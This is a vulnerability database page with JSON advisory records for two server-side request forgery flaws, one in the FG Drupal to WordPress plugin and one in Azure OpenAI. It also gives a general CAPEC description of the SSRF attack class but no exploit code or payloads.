    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Kerfred FG Drupal to WordPress allows Server Side Request Forgery. This issue affects FG Drupal to WordPress: from n/a through 3.90.0.",
  "id": "GHSA-f7fp-x9mv-9jhh",
  "modified": "2026-04-01T18:35:46Z",
  "published": "2025-07-16T12:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48294"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/fg-drupal-to-wp/vulnerability/wordpress-fg-drupal-to-wordpress-plugin-3-90-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7GX-8WV8-8WM9

Vulnerability from github – Published: 2026-07-03 00:31 – Updated: 2026-07-03 00:31
VLAI
Details

Server-side request forgery (ssrf) in Azure OpenAI allows an authorized attacker to elevate privileges over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-45499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T23:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side request forgery (ssrf) in Azure OpenAI allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-f7gx-8wv8-8wm9",
  "modified": "2026-07-03T00:31:53Z",
  "published": "2026-07-03T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45499"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.